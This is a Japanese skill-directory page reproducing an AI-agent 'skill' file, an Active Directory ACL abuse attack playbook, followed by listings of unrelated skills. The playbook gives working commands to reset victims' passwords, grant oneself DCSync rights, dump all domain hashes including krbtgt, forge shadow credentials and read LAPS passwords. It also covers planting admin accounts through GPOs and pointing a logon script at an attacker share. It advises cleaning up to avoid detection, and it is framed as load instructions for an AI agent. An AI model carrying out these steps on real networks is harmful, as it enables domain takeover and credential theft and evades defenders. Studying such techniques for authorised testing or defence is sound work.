active-directory-acl-abuse
Active DirectoryのACL悪用に関するプレイブック。GenericAll、WriteDACL、DCSync権限、シャドウクレデンシャル、LAPS読み取り、GPO悪用、BloodHoundを活用した攻撃パスなど、ADの権限設定ミスを悪用する際に使用します。
description の原文を見る
>- Active Directory ACL abuse playbook. Use when exploiting misconfigured AD permissions including GenericAll, WriteDACL, DCSync rights, shadow credentials, LAPS reading, GPO abuse, and BloodHound-guided attack paths.
SKILL.md 本文
SKILL: AD ACL Abuse — Expert Attack Playbook
AI LOAD INSTRUCTION: Expert AD ACL abuse techniques. Covers BloodHound enumeration, dangerous ACEs (GenericAll, WriteDACL, WriteOwner, etc.), DCSync, shadow credentials, targeted kerberoasting, group manipulation, LAPS, and GPO abuse. Base models miss complex ACL chain exploitation and Cypher query patterns.
0. RELATED ROUTING
詳しく掘り下げる前に、以下のロードを検討してください:
active-directory-kerberos-attacks— ACL 濫用と組み合わされることが多い Kerberos 攻撃active-directory-certificate-services— ACL 悪用後の証明書ベース攻撃ntlm-relay-coercion— ACL 設定が可能なリレー攻撃 (LDAP リレー)windows-lateral-movement— AD アクセス昇格後のラテラルムーブ
Advanced Reference
以下が必要な場合は BLOODHOUND_PATHS.md もロードしてください:
- BloodHound 攻撃パスと Cypher クエリ
- 複雑なチェーン検索のための カスタム Neo4j クエリ
- データ収集とインジェスション向けのヒント
1. BLOODHOUND ENUMERATION
データ収集
# SharpHound (Windows ドメイン参加マシンから)
SharpHound.exe -c all --outputdirectory C:\temp --zipfilename bh.zip
# bloodhound-python (Linux から)
bloodhound-python -d domain.com -u user -p password -c all -dc DC01.domain.com -ns DC_IP
# 特定の収集方法
SharpHound.exe -c DCOnly # 最速 — DC クエリのみ
SharpHound.exe -c Session # セッションデータのみ (定期実行)
SharpHound.exe -c All,GPOLocalGroup # GPO 分析を含む
主要な BloodHound クエリ (組み込み)
- "Find all Domain Admins"
- "Shortest Paths to Domain Admins from Owned Principals"
- "Find Principals with DCSync Rights"
- "Shortest Paths to Unconstrained Delegation Systems"
- "Find computers where Domain Users are Local Admin"
2. 危険な ACE タイプ
| ACE | ユーザーへの影響 | グループへの影響 | コンピュータへの影響 |
|---|---|---|---|
| GenericAll | パスワード変更、SPN 設定、属性変更 | メンバー追加 | RBCD、LAPS 読取、すべての属性 |
| GenericWrite | SPN 設定、属性変更、シャドウ認証情報 | メンバー追加 | RBCD、シャドウ認証情報 |
| WriteDACL | 自分自身に任意の権限を付与 | 同一 | 同一 |
| WriteOwner | 所有権取得 → WriteDACL | 同一 | 同一 |
| ForceChangePassword | 古いパスワードを知らずにリセット | N/A | N/A |
| AddMember | N/A | グループに自分や他人を追加 | N/A |
| AllExtendedRights | パスワード強制変更、LAPS 読取 | N/A | LAPS 読取、BitLocker キー読取 |
| ReadLAPSPassword | N/A | N/A | ローカル管理者パスワード読取 |
| WriteSPN | SPN 設定 → ターゲット Kerberoast | N/A | N/A |
3. ACE 固有の悪用
ユーザーへの GenericAll
# オプション 1: パスワード強制変更
net user targetuser NewP@ss123 /domain
# オプション 2: ターゲット Kerberoasting
Set-DomainObject -Identity targetuser -Set @{serviceprincipalname='fake/svc'}
# → Kerberoast してから SPN をクリア
# オプション 3: シャドウ認証情報
Whisker.exe add /target:targetuser /domain:domain.com /dc:DC01
# オプション 4: ログオン スクリプト設定
Set-DomainObject -Identity targetuser -Set @{scriptpath='\\attacker\share\evil.ps1'}
コンピュータへの GenericAll / GenericWrite
# RBCD 攻撃
rbcd.py -delegate-from 'CONTROLLED$' -delegate-to 'TARGET$' -action write DOMAIN/user:pass -dc-ip DC
# コンピュータへのシャドウ認証情報
pywhisker.py -d domain.com -u user -p pass --target 'TARGET$' --action add --dc-ip DC
WriteDACL
# DCSync 権限を自分自身に付与
Add-DomainObjectAcl -TargetIdentity "DC=domain,DC=com" -PrincipalIdentity lowpriv -Rights DCSync
# Impacket
dacledit.py -action write -rights DCSync -principal lowpriv -target-dn "DC=domain,DC=com" DOMAIN/lowpriv:pass -dc-ip DC
WriteOwner
# ステップ 1: 所有権取得
Set-DomainObjectOwner -Identity targetuser -OwnerIdentity lowpriv
# ステップ 2: 所有者として WriteDACL を自分に付与
Add-DomainObjectAcl -TargetIdentity targetuser -PrincipalIdentity lowpriv -Rights All
# ステップ 3: GenericAll として悪用
ForceChangePassword
# Impacket
rpcclient -U 'DOMAIN/attacker%pass' DC01 -c "setuserinfo2 targetuser 23 'NewP@ss123!'"
# PowerView
Set-DomainUserPassword -Identity targetuser -AccountPassword (ConvertTo-SecureString 'NewP@ss123!' -AsPlainText -Force)
# net rpc
net rpc password targetuser 'NewP@ss123!' -U DOMAIN/attacker%pass -S DC01
グループへの AddMember
# 特権グループに自分を追加
Add-DomainGroupMember -Identity "Domain Admins" -Members lowpriv
# Impacket
net rpc group addmem "Domain Admins" lowpriv -U DOMAIN/attacker%pass -S DC01
4. DCSYNC 攻撃
前提条件
プリンシパルがドメイン オブジェクトに対して、以下の 両方 のレプリケーション権限を必要とします:
DS-Replication-Get-Changes(GUID:1131f6aa-9c07-11d1-f79f-00c04fc2dcd2)DS-Replication-Get-Changes-All(GUID:1131f6ad-9c07-11d1-f79f-00c04fc2dcd2)
実行
# Impacket — すべてのハッシュをダンプ
secretsdump.py DOMAIN/user:password@DC01 -just-dc
# 特定アカウントのみ
secretsdump.py DOMAIN/user:password@DC01 -just-dc-user krbtgt
# Mimikatz
lsadump::dcsync /domain:domain.com /user:krbtgt
lsadump::dcsync /domain:domain.com /all /csv
# Kerberos 認証を使用した Impacket
export KRB5CCNAME=admin.ccache
secretsdump.py -k -no-pass DC01.domain.com -just-dc
デフォルトで DCSync 権限を持つ者
- Domain Admins
- Enterprise Admins
- Domain Controllers グループ
BUILTIN\Administrators(ドメイン オブジェクト上)
5. シャドウ認証情報
攻撃フロー
ターゲットの msDS-KeyCredentialLink に書き込み → 証明書生成 → PKINIT で認証。
# pyWhisker (Linux)
pywhisker.py -d domain.com -u attacker -p pass --target victim --action add --dc-ip DC01
# 出力: DeviceID と PFX ファイル
# 証明書で認証
gettgtpkinit.py -cert-pfx victim.pfx -pfx-pass RANDOM_PASS domain.com/victim victim.ccache
export KRB5CCNAME=victim.ccache
# TGT から NT ハッシュを抽出 (パス・ザ・ハッシュ用)
getnthash.py -key AS_REP_KEY domain.com/victim
# Whisker (Windows)
Whisker.exe add /target:victim /domain:domain.com /dc:DC01.domain.com
# → TGT 取得用の Rubeus コマンドを提供
Rubeus.exe asktgt /user:victim /certificate:CERT_B64 /password:PASS /ptt
クリーンアップ: 検出を避けるために、追加したキー認証情報を削除してください。
6. LAPS パスワード読取
# PowerView
Get-DomainComputer -Identity TARGET -Properties ms-Mcs-AdmPwd,ms-Mcs-AdmPwdExpirationTime
# AD モジュール
Get-ADComputer -Identity TARGET -Properties ms-Mcs-AdmPwd | Select-Object ms-Mcs-AdmPwd
# LAPS v2 (Windows LAPS)
Get-LapsADPassword -Identity TARGET -AsPlainText
# CrackMapExec
crackmapexec ldap DC01 -u user -p pass --module laps
7. GPO 濫用
書き込み可能な GPO の特定
# PowerView — あなたが書き込みアクセス権を持つ GPO を検索
Get-DomainGPO | Get-DomainObjectAcl -ResolveGUIDs | Where-Object {
($_.ActiveDirectoryRights -match 'WriteProperty|GenericAll|GenericWrite') -and
($_.SecurityIdentifier -match 'YOUR_SID')
}
SharpGPOAbuse による悪用
# GPO 経由でローカル管理者を追加
SharpGPOAbuse.exe --AddLocalAdmin --UserAccount lowpriv --GPOName "Vulnerable GPO"
# GPO 経由でスケジュール済みタスクを追加
SharpGPOAbuse.exe --AddComputerTask --TaskName "Update" --Author DOMAIN\admin --Command "cmd.exe" --Arguments "/c net localgroup administrators lowpriv /add" --GPOName "Vulnerable GPO"
# スタートアップ スクリプトを追加
SharpGPOAbuse.exe --AddComputerScript --ScriptName "evil.bat" --ScriptContents "net localgroup administrators lowpriv /add" --GPOName "Vulnerable GPO"
# pyGPOAbuse (Linux)
pygpoabuse.py DOMAIN/user:pass -gpo-id "GPO_GUID" -command "net localgroup administrators lowpriv /add" -dc-ip DC01
8. ACL 攻撃決定ツリー
ドメイン ユーザー アクセス権を持っており、ACL 経由で昇格したい
│
├── BloodHound を実行 → DA への最短パスを分析
│ └── データをアップロード → "Shortest Paths to Domain Admins from Owned Principals"
│
├── ユーザー オブジェクトに直接 ACL あり?
│ ├── GenericAll → パスワード強制変更、シャドウ認証情報、またはターゲット Kerberoast (§3)
│ ├── GenericWrite → シャドウ認証情報または SPN 設定 (§3/§5)
│ ├── ForceChangePassword → パスワードを直接リセット (§3)
│ ├── WriteDACL → 自分に GenericAll を付与してから悪用 (§3)
│ └── WriteOwner → 所有権取得 → WriteDACL → GenericAll (§3)
│
├── グループに ACL あり?
│ ├── AddMember / GenericAll → 特権グループに自分を追加 (§3)
│ └── WriteDACL → AddMember を付与してから自分を追加
│
├── コンピュータ オブジェクトに ACL あり?
│ ├── GenericAll/GenericWrite → RBCD 攻撃 (§3)
│ ├── AllExtendedRights → LAPS パスワード読取 (§6)
│ └── GenericWrite → マシンのシャドウ認証情報 (§5)
│
├── ドメイン オブジェクトに ACL あり?
│ ├── WriteDACL → 自分に DCSync 権限を付与 (§4)
│ └── レプリケーション権限は既にあり? → 直接 DCSync (§4)
│
├── 特権 OU にリンクされた GPO に ACL あり?
│ └── 書き込みアクセス → GPO 経由で管理者 / スケジュール済みタスクを追加 (§7)
│
└── 複雑なマルチホップ チェーン?
└── BLOODHOUND_PATHS.md をロードして Cypher クエリとチェーン分析を参照
ライセンス: MIT(寛容ライセンスのため全文を引用しています) · 原本リポジトリ
詳細情報
- 作者
- yaklang
- リポジトリ
- yaklang/hack-skills
- ライセンス
- MIT
- 最終更新
- 不明
Source: https://github.com/yaklang/hack-skills / ライセンス: MIT
関連スキル
superfluid
Superfluidプロトコルおよびそのエコシステムに関するナレッジベースです。Superfluidについて情報を検索する際は、ウェブ検索の前にこちらを参照してください。対応キーワード:Superfluid、CFA、GDA、Super App、Super Token、stream、flow rate、real-time balance、pool(member/distributor)、IDA、sentinels、liquidation、TOGA、@sfpro/sdk、semantic money、yellowpaper、whitepaper
civ-finish-quotes
実質的なタスクが真に完了した際に、文明風の儀式的な引用句を追加します。ユーザーやエージェントが機能追加、リファクタリング、分析、設計ドキュメント、プロセス改善、レポート、執筆タスクといった実際の成果物を完成させるときに、明示的な依頼がなくても使用します。短い返信や小さな修正、未完成の作業には適用しません。
nookplot
Base(Ethereum L2)上のAIエージェント向け分散型調整ネットワークです。エージェントがオンチェーンアイデンティティを登録する、コンテンツを公開する、他のエージェントにメッセージを送る、マーケットプレイスで専門家を雇う、バウンティを投稿・請求する、レピュテーションを構築する、共有プロジェクトで協業する、リサーチチャレンジを解くことでNOOKをマイニングする、キュレーションされたナレッジを備えたスタンドアロンオンチェーンエージェントをデプロイする、またはアグリーメントとリワードで収益を得る場合に利用できます。エージェントネットワーク、エージェント調整、分散型エージェント、NOOKトークン、マイニングチャレンジ、ナレッジバンドル、エージェントレピュテーション、エージェントマーケットプレイス、ERC-2771メタトランザクション、Prepare-Sign-Relay、AgentFactory、またはNookplotが言及された場合にトリガーされます。
web3-polymarket
Polygon上でのPolymarket予測市場取引統合です。認証機能(L1 EIP-712、L2 HMAC-SHA256、ビルダーヘッダー)、注文発注(GTC/GTD/FOK/FAK、バッチ、ポストオンリー、ハートビート)、市場データ(Gamma API、Data API、オーダーブック、サブグラフ)、WebSocketストリーミング(市場・ユーザー・スポーツチャネル)、CTF操作(分割、統合、償却、ネガティブリスク)、ブリッジ機能(入金、出金、マルチチェーン)、およびガスレスリレイトランザクションに対応しています。AIエージェント、自動マーケットメーカー、予測市場UI、またはPolygraph上のPolymarketと統合するアプリケーション構築時に活用できます。
ethskills
Ethereum、EVM、またはブロックチェーン関連のリクエストに対応します。スマートコントラクト、dApps、ウォレット、DeFiプロトコルの構築、監査、デプロイ、インタラクションに適用されます。Solidityの開発、コントラクトアドレス、トークン規格(ERC-20、ERC-721、ERC-4626など)、Layer 2ネットワーク(Base、Arbitrum、Optimism、zkSync、Polygon)、Uniswap、Aave、Curveなどのプロトコルとの統合をカバーします。ガスコスト、コントラクトのデシマル設定、オラクルセキュリティ、リエントランシー、MEV、ブリッジング、ウォレット管理、オンチェーンデータの取得、本番環境へのデプロイ、プロトコル進化(EIPライフサイクル、フォーク追跡、今後の変更予定)といったトピックを含みます。
xxyy-trade
このスキルは、ユーザーが「トークン購入」「トークン売却」「トークンスワップ」「暗号資産取引」「取引ステータス確認」「トランザクション照会」「トークンスキャン」「フィード」「チェーン監視」「トークン照会」「トークン詳細」「トークン安全性確認」「ウォレット一覧表示」「マイウォレット」「AIスキャン」「自動スキャン」「ツイートスキャン」「オンボーディング」「IP確認」「IPホワイトリスト」「トークン発行」「自動売却」「損切り」「利益確定」「トレーリングストップ」「保有者」「トップホルダー」「KOLホルダー」などをリクエストした場合、またはSolana/ETH/BSC/BaseチェーンでXXYYを経由した取引について言及した場合に使用します。XXYY Open APIを通じてオンチェーン取引とデータ照会を実現します。